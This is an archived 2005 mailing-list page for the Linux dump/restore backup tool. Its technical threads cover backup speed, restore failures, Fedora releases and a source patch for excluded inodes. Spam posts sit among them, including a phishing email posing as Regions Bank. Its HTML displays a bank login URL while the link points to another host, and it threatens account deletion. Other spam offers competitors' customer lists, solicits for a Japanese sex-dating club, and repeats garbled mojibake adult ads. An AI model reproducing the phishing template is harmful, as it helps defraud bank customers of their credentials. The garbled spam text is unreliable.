You can subscribe to this list here.
2000 |
Jan
(2) |
Feb
(15) |
Mar
(1) |
Apr
(11) |
May
(9) |
Jun
(22) |
Jul
(23) |
Aug
(21) |
Sep
(21) |
Oct
(7) |
Nov
(13) |
Dec
(58) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2001 |
Jan
(20) |
Feb
(33) |
Mar
(24) |
Apr
(27) |
May
(48) |
Jun
(12) |
Jul
(35) |
Aug
(37) |
Sep
(41) |
Oct
(37) |
Nov
(29) |
Dec
(4) |
2002 |
Jan
(35) |
Feb
(17) |
Mar
(33) |
Apr
(65) |
May
(53) |
Jun
(43) |
Jul
(38) |
Aug
(37) |
Sep
(11) |
Oct
(25) |
Nov
(26) |
Dec
(38) |
2003 |
Jan
(44) |
Feb
(58) |
Mar
(16) |
Apr
(15) |
May
(11) |
Jun
(5) |
Jul
(70) |
Aug
(3) |
Sep
(25) |
Oct
(8) |
Nov
(16) |
Dec
(15) |
2004 |
Jan
(16) |
Feb
(27) |
Mar
(21) |
Apr
(23) |
May
(14) |
Jun
(16) |
Jul
(5) |
Aug
(5) |
Sep
(7) |
Oct
(17) |
Nov
(15) |
Dec
(44) |
2005 |
Jan
(37) |
Feb
(3) |
Mar
(7) |
Apr
(13) |
May
(14) |
Jun
(23) |
Jul
(7) |
Aug
(7) |
Sep
(12) |
Oct
(11) |
Nov
(11) |
Dec
(9) |
2006 |
Jan
(17) |
Feb
(8) |
Mar
(6) |
Apr
(14) |
May
(18) |
Jun
(16) |
Jul
(6) |
Aug
(1) |
Sep
(5) |
Oct
(12) |
Nov
(1) |
Dec
(1) |
2007 |
Jan
(3) |
Feb
(6) |
Mar
(6) |
Apr
|
May
|
Jun
(7) |
Jul
(8) |
Aug
(5) |
Sep
(4) |
Oct
|
Nov
(8) |
Dec
(14) |
2008 |
Jan
(31) |
Feb
(3) |
Mar
(9) |
Apr
|
May
(15) |
Jun
(9) |
Jul
|
Aug
(13) |
Sep
(10) |
Oct
|
Nov
|
Dec
|
2009 |
Jan
(11) |
Feb
|
Mar
|
Apr
|
May
|
Jun
(9) |
Jul
(23) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2010 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(3) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(1) |
Dec
(10) |
2011 |
Jan
(2) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(3) |
Sep
|
Oct
|
Nov
|
Dec
|
2012 |
Jan
(5) |
Feb
(3) |
Mar
(2) |
Apr
|
May
|
Jun
(1) |
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
(1) |
Dec
|
2013 |
Jan
|
Feb
|
Mar
(2) |
Apr
|
May
|
Jun
|
Jul
(5) |
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
2014 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(2) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2015 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2016 |
Jan
|
Feb
|
Mar
|
Apr
(1) |
May
(1) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2020 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2022 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(2) |
From: Kenneth P. <sh...@se...> - 2005-04-08 02:44:52
|
I'm trying to dump a large (128 GB) partition to a Samba-mounted share on a Win2k box over gigabit Ethernet. This is reasonably fast provided that I mount the share with large buffers: FSOPTIONS="sockopt=SO_RCVBUF=65536,sockopt=SO_SNDBUF=65536" mount //${SERVER}/BigBackup /mnt/Backup -t ${FSTYPE} -o ${FSOPTIONS} (Username and password are passed in environment variables here, but could also be done by credential file, to hide from ps.) The dump command line: BLOCKSIZE=1024 OUTDIR=/mnt/Backup/Newred FILESIZE=1000000 ERRORLIMIT=500 COMPRESS= dump 0u -b ${BLOCKSIZE} ${COMPRESS} -Mf ${OUTDIR}/sda1/dump -B ${FILESIZE} /mnt/sda1 -Q ${OUTDIR}/sda1/qfa Performance stats reported: DUMP: 127629312 blocks (124638.00MB) on 128 volume(s) DUMP: finished in 19082 seconds, throughput 6688 kBytes/sec That's about 5.25 hours. I tried to add -j2 (compression) to the dump command line but this kicks the expected completion time to over 48 hours, which suggests that the network buffers are starving. Is there some way to avoid this? I thought the megabyte block size would be sufficient but it's not working when compression is enabled. |
From: Regions Bank<su...@re...> - 2005-04-02 08:46:26
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Untitled Document</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body> <div> <pre> </pre> <div> <table height=442 width=646 border=0> <tbody> <tr> <td colspan=2 height=63><img src="http://www.regions.com/images/header_right.gif"></td> </tr> <tr> <td width=1> </td> <td width=635><strong> Dear Regions Bank member,</strong></td> </tr> <tr> <td colspan=2><p> Due to concerns, for the safety and integrity of the Internet Banking community we have issued this warning message. It has come to our attention that your account information needs to be updated due to account inactivity. If you could please take 5-10 minutes out of your online experience and renew your records you will not run into any future problems with the online service. However, failure to update your records will result in account deletation.</p> <p>Please use the link below to access our mainframe database verification system and confirm the information we have on file for your account.</p></td> </tr> <td colspan=2><strong>To update your account information and start using our services please click on the link below:</strong> <br> <br> <a href="http://www.google.com"> <a href="http://www.whatwouldshatnerdo.com/%20/secure.regionsnet.com/EBanking/logon/index.html">https://secure.regionsnet.com/EBanking/logon/user</a> <tr> <td colspan=2> <p>Note: Requests for information will be initiated by Regions Business Development; this process cannot be externally requested through Customer Support.</p></td> </tr> <tr> <td colspan=2> </td> </tr> <tr> <td height=59 colspan=2>Sincerely, <br> Regions Bank Management.<br> </td> </tr> </table> </div> </div> </body> </html> |
From: weather <we...@in...> - 2005-03-16 08:24:10
|
¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ÆENEWS@Vol.031 ÂVj [X|[^[()} ¯ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª® Ai^̳ÉM¶çêÈ¢NEWSð¨Í¯I ¬@¬@¬@¬@¬@¬@¬@¬ Ù @ } @ I @ @ Ê @ ñ @ @ I ¯®@¯®@¯®@¯®@¯®@¯®@¯®@¯® ¡mi23ËjyÊ^Lz @[µÄÄàmªÇAKÌy»¤ÈO©Æv¢«âÆ·Ì¥¥¥ @http://www.okidokiaiai.com/ ¡mbi19ËjyÊ^Lz @bµÌbèÉt¢Ä¢ÌŸêtBIWWð·æ¤É¥¥¥ @http://www.okidokiaiai.com/ ¡Jii25jyÊ^Lz @êú}WÉê½Bt«ÁÄ2碵ÄÊÌTCgÅ©©¥¥¥ @http://www.okidokiaiai.com/ ¡aüi32jyÊ^³z @ºªAjºµÄÄG¦B©½ÚͺÉí¸XÁƵ½ül¥¥¥ @http://www.okidokiaiai.com/ @ ¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªc ¡@ÂVÌÆENEWSFÅVLsbNAbv ¹ªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ܸÍlbgðÛ©çX^[guåè|[^TCgÌÑv ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @TÌf[gÌèðlbgÌoï¢ÅË«F10lÉ1l ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @Þǧªq»ÎôÅuoï¢nvH ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ ÆENEWS cccccccccccccccccccccccccccccccccccccc @http://www.okidokiaiai.com/ @¤ vvvvvvvvvvvvvvvvvvvvvvvvvv¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ÆENEWS@Vol.031 ÂVj [X|[^[()} ¯ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª® Ai^̳ÉM¶çêÈ¢NEWSð¨Í¯I ¬@¬@¬@¬@¬@¬@¬@¬ Ù @ } @ I @ @ Ê @ ñ @ @ I ¯®@¯®@¯®@¯®@¯®@¯®@¯®@¯® ¡mi23ËjyÊ^Lz @[µÄÄàmªÇAKÌy»¤ÈO©Æv¢«âÆ·Ì¥¥¥ @http://www.okidokiaiai.com/ ¡mbi19ËjyÊ^Lz @bµÌbèÉt¢Ä¢ÌŸêtBIWWð·æ¤É¥¥¥ @http://www.okidokiaiai.com/ ¡Jii25jyÊ^Lz @êú}WÉê½Bt«ÁÄ2碵ÄÊÌTCgÅ©©¥¥¥ @http://www.okidokiaiai.com/ ¡aüi32jyÊ^³z @ºªAjºµÄÄG¦B©½ÚͺÉí¸XÁƵ½ül¥¥¥ @http://www.okidokiaiai.com/ @ ¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªc ¡@ÂVÌÆENEWSFÅVLsbNAbv ¹ªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ܸÍlbgðÛ©çX^[guåè|[^TCgÌÑv ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @TÌf[gÌèðlbgÌoï¢ÅË«F10lÉ1l ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @Þǧªq»ÎôÅuoï¢nvH ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ ÆENEWS cccccccccccccccccccccccccccccccccccccc @http://www.okidokiaiai.com/ @¤ vvvvvvvvvvvvvvvvvvvvvvvvvv |
From: polyresin <pol...@ex...> - 2005-03-15 22:00:22
|
¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ÆENEWS@Vol.031 ÂVj [X|[^[()} ¯ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª® Ai^̳ÉM¶çêÈ¢NEWSð¨Í¯I ¬@¬@¬@¬@¬@¬@¬@¬ Ù @ } @ I @ @ Ê @ ñ @ @ I ¯®@¯®@¯®@¯®@¯®@¯®@¯®@¯® ¡mi23ËjyÊ^Lz @[µÄÄàmªÇAKÌy»¤ÈO©Æv¢«âÆ·Ì¥¥¥ @http://www.okidokiaiai.com/ ¡mbi19ËjyÊ^Lz @bµÌbèÉt¢Ä¢ÌŸêtBIWWð·æ¤É¥¥¥ @http://www.okidokiaiai.com/ ¡Jii25jyÊ^Lz @êú}WÉê½Bt«ÁÄ2碵ÄÊÌTCgÅ©©¥¥¥ @http://www.okidokiaiai.com/ ¡aüi32jyÊ^³z @ºªAjºµÄÄG¦B©½ÚͺÉí¸XÁƵ½ül¥¥¥ @http://www.okidokiaiai.com/ @ ¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªc ¡@ÂVÌÆENEWSFÅVLsbNAbv ¹ªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ܸÍlbgðÛ©çX^[guåè|[^TCgÌÑv ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @TÌf[gÌèðlbgÌoï¢ÅË«F10lÉ1l ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @Þǧªq»ÎôÅuoï¢nvH ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ ÆENEWS cccccccccccccccccccccccccccccccccccccc @http://www.okidokiaiai.com/ @¤ vvvvvvvvvvvvvvvvvvvvvvvvvv¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ÆENEWS@Vol.031 ÂVj [X|[^[()} ¯ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª® Ai^̳ÉM¶çêÈ¢NEWSð¨Í¯I ¬@¬@¬@¬@¬@¬@¬@¬ Ù @ } @ I @ @ Ê @ ñ @ @ I ¯®@¯®@¯®@¯®@¯®@¯®@¯®@¯® ¡mi23ËjyÊ^Lz @[µÄÄàmªÇAKÌy»¤ÈO©Æv¢«âÆ·Ì¥¥¥ @http://www.okidokiaiai.com/ ¡mbi19ËjyÊ^Lz @bµÌbèÉt¢Ä¢ÌŸêtBIWWð·æ¤É¥¥¥ @http://www.okidokiaiai.com/ ¡Jii25jyÊ^Lz @êú}WÉê½Bt«ÁÄ2碵ÄÊÌTCgÅ©©¥¥¥ @http://www.okidokiaiai.com/ ¡aüi32jyÊ^³z @ºªAjºµÄÄG¦B©½ÚͺÉí¸XÁƵ½ül¥¥¥ @http://www.okidokiaiai.com/ @ ¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªc ¡@ÂVÌÆENEWSFÅVLsbNAbv ¹ªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ܸÍlbgðÛ©çX^[guåè|[^TCgÌÑv ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @TÌf[gÌèðlbgÌoï¢ÅË«F10lÉ1l ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @Þǧªq»ÎôÅuoï¢nvH ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ ÆENEWS cccccccccccccccccccccccccccccccccccccc @http://www.okidokiaiai.com/ @¤ vvvvvvvvvvvvvvvvvvvvvvvvvv |
From: stephen g. <ste...@sy...> - 2005-03-14 23:01:11
|
I'd like to introduce our company, Repharm Technologies, to you. = We are a knowledge base company, and we sell contact lists. We have a = variety of lists available, from hardware, software, to technology = companies, with on average 10 executive contacts per organization. Our = lists are continuously maintained to ensure the highest level of = accuracy and completeness. We have hundreds of industry leaders as = customers today - many who's names you would recognize. If you'd be = interested, we could send you a sample of one of our lists complete with = summary information, so that you could evaluate our content. I see from your website that you are an Alliance Partner of = Mercury Interactive, and wondered if you'd be interested in acquiring a = copy of their customer list? Or, if you'd be interested in finding out = about the various lists we have available, in preparation for any sales = or marketing campaigns that your organization may be considering in = future, we'd love to hear from you. Or, perhaps you'd be interested in = acquiring your competitors' customer lists? If you'd like more information, please contact Mike Gordon at our = Repharm office at (905) 728-6708, or email rep...@ao.... Thank you in advance for your consideration, and we look forward = to hearing from you. Regards, Stephen Gordon Business Development Representative Repharm Technologies = *************************************************************************= ** If you would prefer not to receive communications from us in = future, please reply to this email with "remove" in the subject line. |
From: Hans-Peter B. <h.p...@ie...> - 2005-03-09 21:51:38
|
Stelian Pop schrieb: >>a) I installed 0.4b38(also 0.4b39) on my old 7.3 suse installation(with >>some patches). >>dump works fine if I backup on my local tapedrive, but if I use a remote >>drive it crashes shortly after its start. If I start it by using a >>strace command I cannot figure out any special problem but dump tries to >>deal with the local clib although I use dump.static which I would not >>expect if I use dump.static . > > > Yeah, I saw some message from gcc 3.4 when compiling statically it > says that you need some runtime libs. I found that strange when I > saw it but never investigated... > > Try to compile it from sources. The rpm is specific to redhat but > with minimal tweaking you should be able to rebuild the .src.rpm. > > The simpler way is to start from the tarball and do > ./configure > make > ./dump/dump 0f... > Well I, tried it but I bumpt into dependencies like e2fsprogs which depend on a newer clib .... :-( so I thought a static would solve my problem .... hpb > >>Any suggestions ??? >> >>b) If I use my local tape drive the speed is about 11MByte/sec if I use >>the remote tape the speed is about 1.7MByte/sec. >>Has anyone suggestion how to speed up the dump. > > > Increase the blocksize (-b parameter). > > Stelian. |
From: Stelian P. <st...@po...> - 2005-03-09 21:10:52
|
On Wed, Mar 09, 2005 at 09:40:22PM +0100, hpb wrote: > hi! > > First of all: I was very pleased that dump is now able to store ACLS. > I urgently need this feature! > > a) I installed 0.4b38(also 0.4b39) on my old 7.3 suse installation(with > some patches). > dump works fine if I backup on my local tapedrive, but if I use a remote > drive it crashes shortly after its start. If I start it by using a > strace command I cannot figure out any special problem but dump tries to > deal with the local clib although I use dump.static which I would not > expect if I use dump.static . Yeah, I saw some message from gcc 3.4 when compiling statically it says that you need some runtime libs. I found that strange when I saw it but never investigated... Try to compile it from sources. The rpm is specific to redhat but with minimal tweaking you should be able to rebuild the .src.rpm. The simpler way is to start from the tarball and do ./configure make ./dump/dump 0f... > Any suggestions ??? > > b) If I use my local tape drive the speed is about 11MByte/sec if I use > the remote tape the speed is about 1.7MByte/sec. > Has anyone suggestion how to speed up the dump. Increase the blocksize (-b parameter). Stelian. -- Stelian Pop <st...@po...> |
From: hpb <hp...@ht...> - 2005-03-09 20:39:22
|
hi! First of all: I was very pleased that dump is now able to store ACLS. I urgently need this feature! a) I installed 0.4b38(also 0.4b39) on my old 7.3 suse installation(with some patches). dump works fine if I backup on my local tapedrive, but if I use a remote drive it crashes shortly after its start. If I start it by using a strace command I cannot figure out any special problem but dump tries to deal with the local clib although I use dump.static which I would not expect if I use dump.static . Any suggestions ??? b) If I use my local tape drive the speed is about 11MByte/sec if I use the remote tape the speed is about 1.7MByte/sec. Has anyone suggestion how to speed up the dump. yours hpb |
From: <mat...@li...> - 2005-03-02 04:42:04
|
色ずく季節を幾つも周り… 女性も積極的に男性を求める時代へと変貌を 遂げようとしております。 突然のメールでのご紹介をお許し下さいませ。 弊社は『金銭的には余裕のある身元の確かな女性会員様と 誠実で秘密厳守を守れる男性会員様』をマッチングしているクラブ でございます。 現在、全国で女性会員数は7691名 男性会員数683名 おりまして、男性会員様が圧倒的に少ない現状になっております。 女性会員様が今後も増加の一途を辿って行きますので急遽、男性会員様を 募集するに至りました。 あらかじめ申しておきたいのですが、当クラブからのメールがご不要で あると感じた場合には破棄してくださるよう誠に申し訳ありませんが お願いしております。なお、「配信不要」の旨を当クラブまでお申し付け 下されば二度とメールは配信致しません。 誠に勝手なお願いでございますがよろしくお願い致します。 当クラブでは女性会員様の出資金で運営しておりますので お会いして頂く場合には失礼の無いように心がけて頂いております。 また男性会員様におきましては登録料・紹介料等全て無料にて行わせて 頂いております。男性会員様の紳士的な行為や態度が当クラブのステータスに なるとお思い下さいませ。 なお、当クラブを通じて素敵な出会いを手に入れることが出来たとのご報告が 女性会員様から多数寄せられております。当クラブがきっかけで『かけがえの ない異性の友達』『洗練されたお付き合い』『ご結婚』に至るまで多岐にわたる ご報告を受けております。貴方様もぜひ、日々の生活に華やかな一面を添えて 頂きたいと思っております。 日本全国に女性会員様が多数在籍しておりますので、 まずは貴方様の地域に該当している女性会員様をご紹介させて頂きたいと思います。 簡単なシートですので、まずはお気軽にお書き下さいませ。 Q:NO,1 貴方様のお会いするにあたってのご希望の地域(都道府県等) Q:NO,2 当クラブをご利用するにあたってのご利用タイプ 【恋人募集】 恋人・結婚相手を探す 【サポート希望】 1ランク上の洗練されたお付き合い・女性からのサポート 【セックスフレンド】 秘密厳守でのお相手 【SM】 S女・M女 以上のご質問にお答え頂きご返信いただければ、当クラブの各地域担当女性から 貴方様のご希望に沿った女性をご案内させて頂きます。 『club adolescence』代表 山下 香穂 |
From: Stelian P. <st...@po...> - 2005-02-02 20:53:52
|
On Wed, Feb 02, 2005 at 10:13:50AM -0800, Kenneth Porter wrote: > 0.4b39 with the EA/ACL patch has been released to Fedora Updates. Here's > the official announcement emails: > > FC2: > > <https://www.redhat.com/archives/fedora-announce-list/2005-February/msg00006.html> > > FC3: > > <https://www.redhat.com/archives/fedora-announce-list/2005-February/msg00007.html> Very cool. I guess we will have some good testing of the EA patch now :) Stelian. -- Stelian Pop <st...@po...> |
From: Kenneth P. <sh...@se...> - 2005-02-02 18:14:03
|
0.4b39 with the EA/ACL patch has been released to Fedora Updates. Here's the official announcement emails: FC2: <https://www.redhat.com/archives/fedora-announce-list/2005-February/msg00006.html> FC3: <https://www.redhat.com/archives/fedora-announce-list/2005-February/msg00007.html> |
From: Stelian P. <st...@po...> - 2005-01-31 10:03:40
|
On Mon, Jan 31, 2005 at 09:35:31AM +0000, Tim Booth wrote: > Hi, > > A colleague of mine was using dump to archive some important data, and > it looks like he made an error in the dump. He has a single file dumped > off an ext3 partition but when he tries to restore it: > > # /sbin/restore -id -f Mal_06.01.05dmp > Volume header (old inode format) begins with record 7961470 > Volume header (old inode format) begins with record 7961470 > Dump tape is compressed. > /sbin/restore: Tape is not volume 1 of the dump > > And indeed the GNU file command reveals: > > # file /media/FWdrive/Mal_06.01.05dmp > /media/FWdrive/Mal_06.01.05dmp: new-fs dump file (little endian), This > dump Thu Jan 6 16:46:09 2005, Previous dump Thu Jan 1 01:00:00 1970, > Volume 2, Level zero, type: tape header, Label /home, Filesystem /home, > Device /dev/hda6, Host censored.foo.ox.ac.uk, Flags 81 Indeed, this is the second volume of a dump. > > My colleague claims he made the dump with the command: > > /sbin/dump -0 -j -n -f /tmp/Mal_06.01.05dmp /home > > and that only one file was produced. Given that I am unfamiliar with > dump/restore (my suggestion was to use tar for this backup) could anyone > tell me: > > 1) Under what circumstances would dump overwrite the first volume with > the second? A possible explanation would be a space related one: maybe there wasn't enough free space on the destination drive, this made dump stop and *query* the operator to start the next volume. *If* the operator answered 'yes', then dump continued by overwritting the previous volume with the second one. But it could be anything else... > 2) If my colleague really does have just the second volume, can anything > be salvaged from the file? Unfortunately no. The first volume is special because it contains the list of all directories and files dumped. If the missing volume was another one, you would lose only the data on that volume. But here you're out of luck, you losed the entire tree structure. That being said, there is still some data on this second volume which could very well be salvaged. However, you will have to modify the restore source to do this, because it won't let you do it otherwise (hint: if you do that, try to make 'restore -x -m' work, it should be the easiest path to hack). Stelian. -- Stelian Pop <st...@po...> |
From: Tim B. <tb...@ce...> - 2005-01-31 09:35:52
|
Hi, A colleague of mine was using dump to archive some important data, and it looks like he made an error in the dump. He has a single file dumped off an ext3 partition but when he tries to restore it: # /sbin/restore -id -f Mal_06.01.05dmp Volume header (old inode format) begins with record 7961470 Volume header (old inode format) begins with record 7961470 Dump tape is compressed. /sbin/restore: Tape is not volume 1 of the dump And indeed the GNU file command reveals: # file /media/FWdrive/Mal_06.01.05dmp /media/FWdrive/Mal_06.01.05dmp: new-fs dump file (little endian), This dump Thu Jan 6 16:46:09 2005, Previous dump Thu Jan 1 01:00:00 1970, Volume 2, Level zero, type: tape header, Label /home, Filesystem /home, Device /dev/hda6, Host censored.foo.ox.ac.uk, Flags 81 My colleague claims he made the dump with the command: /sbin/dump -0 -j -n -f /tmp/Mal_06.01.05dmp /home and that only one file was produced. Given that I am unfamiliar with dump/restore (my suggestion was to use tar for this backup) could anyone tell me: 1) Under what circumstances would dump overwrite the first volume with the second? 2) If my colleague really does have just the second volume, can anything be salvaged from the file? Thanks, TIM -- Tim Booth <tb...@ce...> EGTDC at CEH Oxford |
From: <no-...@ki...> - 2005-01-28 16:09:33
|
<ÆÒ>@R{@Rüq@<MÒ>@VeB[ <Z>§150-0011@saJæ3-25-3@<TEL>090-9192-7321 óMÛÍ<ÆÒ> cha...@ya... ©<MÒ> cha...@ki... êðy[W http://livechatoptout.psend.com/livechat/ ---------------------------------------------------------------- cdEEdccdEEdccdEEdc ±ñȦ¢ú¾©çEEE ½ÜÉÍHOTÉü³ê½¢II cdEEdccdEEdccdEEdc »ñÈMûÉsb^ÌTCg©µÜµ½``I ÈñÆA¶CuÅ©í¢¢ÌqÆ`bgÅ«¿á¢Ü·B µ©àAGGÈmovieà©êéI ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ ¡ÈçLy[É«A50|Cg³¿¨µªÅ«A ³çÉ5,000~ªÌ|Cgðwü·éƽÆIGb`È ¨ócucª³¿ÅPà禿á¤II ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ @@@@ yÚ×ͱE¿Eçz @@@@@@@«««« http://www.ino-q.net/top.php?b=s Edcªªª.B.:*E.B.:*E.B.:*EªªªcdE @@@@@@ss«Àètt©îÅyXEûüII @@@@@@@@QCPOO~`ÈãÂ\I ®SÝîŨD«ÈúɨD«ÈÔ¾¯¨dªÅ«é @@@@@@@@@´yXÈAoCgÅ·ô Edcªªª.B.:*E.B.:*E.B.:*EªªªcdE yµoCgÅ«ÄôÈPÅô»Ìãûüô SÌT|[ģÅASÒÅàÀSµÄ¨dÉæègßÜ·B Ú×ͱ¿çË http://www.ino-q.net/bosyu/top.htm |
From: Stelian P. <st...@po...> - 2005-01-26 08:45:05
|
On Wed, Jan 26, 2005 at 12:14:15AM -0800, Kenneth Porter wrote: > --On Tuesday, January 25, 2005 2:29 PM +0100 Stelian Pop > <st...@po...> wrote: > > >In fact I was unable to reproduce it because I always exclude whole > >directories and the problem arises only when excluding single files. > > > >The attached patch should fix it. > > Thanks, tested it tonight with a full backup and it seems to work. Great. Thanks for the feedback. Stelian. -- Stelian Pop <st...@po...> |
From: Kenneth P. <sh...@se...> - 2005-01-26 08:14:23
|
--On Tuesday, January 25, 2005 2:29 PM +0100 Stelian Pop <st...@po...> wrote: > In fact I was unable to reproduce it because I always exclude whole > directories and the problem arises only when excluding single files. > > The attached patch should fix it. Thanks, tested it tonight with a full backup and it seems to work. |
From: Stelian P. <st...@po...> - 2005-01-25 13:28:25
|
On Mon, Jan 24, 2005 at 11:12:31PM +0100, Stelian Pop wrote: [...] > Unrelated, but wouldn't it be simpler to exclude the whole directory ? [...] > I'll take a look at this tommorow (but I am unable to reproduce it > here at least with my setup). In fact I was unable to reproduce it because I always exclude whole directories and the problem arises only when excluding single files. The attached patch should fix it. Stelian. Index: traverse.c =================================================================== RCS file: /cvsroot/dump/dump/dump/traverse.c,v retrieving revision 1.64 diff -u -r1.64 traverse.c --- traverse.c 15 Dec 2004 09:31:49 -0000 1.64 +++ traverse.c 25 Jan 2005 13:24:46 -0000 @@ -283,6 +283,9 @@ */ SETINO(ino, usedinomap); + if (NODUMP_FLAG(dp)) + do_exclude_ino(ino, "nodump attribute"); + if (mode == IFDIR) SETINO(ino, dumpdirmap); if (WANTTODUMP(dp, ino)) { @@ -296,7 +299,7 @@ return; } if (mode == IFDIR) { - if ( NODUMP_FLAG(dp) || exclude_ino(ino) ) + if (exclude_ino(ino)) CLRINO(ino, usedinomap); *dirskipped = 1; } @@ -986,9 +989,7 @@ int reclen; /* do not save entries to excluded inodes */ - if (TSTINO(dirent->inode, dumpinomap) == 0 && - TSTINO(dirent->inode, dumpdirmap) == 0 && - TSTINO(dirent->inode, usedinomap) == 0) + if (exclude_ino(dirent->inode)) return 0; p = (struct convert_dir_context *)private; -- Stelian Pop <st...@po...> |
From: Kenneth P. <sh...@se...> - 2005-01-24 22:42:11
|
--On Monday, January 24, 2005 11:12 PM +0100 Stelian Pop <st...@po...> wrote: > Unrelated, but wouldn't it be simpler to exclude the whole directory ? I might consider that. Mostly I'm backing up the structure, which includes directories to hold the iso's and a symlink farm to the RPM's in the mounted images. |
From: Stelian P. <st...@po...> - 2005-01-24 22:12:36
|
On Mon, Jan 24, 2005 at 01:54:20PM -0800, Kenneth Porter wrote: > --On Friday, January 07, 2005 3:09 PM +0100 Stelian Pop > <st...@po...> wrote: > > >4. Do not save directory entries to non-dumped inodes > > (excluded from dump). This will eliminate the 'missing > > file' warnings when doing 'restore -C'. > > This doesn't seem to be working. I'm currently using 0.4b39 with the EA/ACL > patch, and I'm getting "not on tape" errors on the stuff I've excluded. Silly question: are you using the 0.4b39 *dump* ? > > I'm using this to generate the exclude list (passed to dump with -E): > > # exclude ISOs and RPM headers in local yum repository > EXCLUDE_FILE=/var/tmp/dump-inodes-to-exclude > find /opt/Fedora -type f -exec stat --format=%i {} \; > ${EXCLUDE_FILE} Unrelated, but wouldn't it be simpler to exclude the whole directory ? > > I've put a test backup of /opt/Fedora here: > > <http://microprecisionautomation.com/DumpScripts/test4.dump001.bz2> > The exclude list file is in the same web directory. > > The command used: > > ./restore -C -l -L 10000 -b 64 -Mf /tmp/test4.dump I'll take a look at this tommorow (but I am unable to reproduce it here at least with my setup). Stelian. -- Stelian Pop <st...@po...> |
From: Kenneth P. <sh...@se...> - 2005-01-24 21:54:33
|
--On Friday, January 07, 2005 3:09 PM +0100 Stelian Pop <st...@po...> wrote: > 4. Do not save directory entries to non-dumped inodes > (excluded from dump). This will eliminate the 'missing > file' warnings when doing 'restore -C'. This doesn't seem to be working. I'm currently using 0.4b39 with the EA/ACL patch, and I'm getting "not on tape" errors on the stuff I've excluded. I'm using this to generate the exclude list (passed to dump with -E): # exclude ISOs and RPM headers in local yum repository EXCLUDE_FILE=/var/tmp/dump-inodes-to-exclude find /opt/Fedora -type f -exec stat --format=%i {} \; > ${EXCLUDE_FILE} I've put a test backup of /opt/Fedora here: <http://microprecisionautomation.com/DumpScripts/test4.dump001.bz2> The exclude list file is in the same web directory. The command used: ./restore -C -l -L 10000 -b 64 -Mf /tmp/test4.dump First error: ./opt/Fedora/FC2/tettnang-binary-i386-iso/MD5SUM: (inode 376989) not found on tape |
From: Stelian P. <st...@po...> - 2005-01-24 11:40:15
|
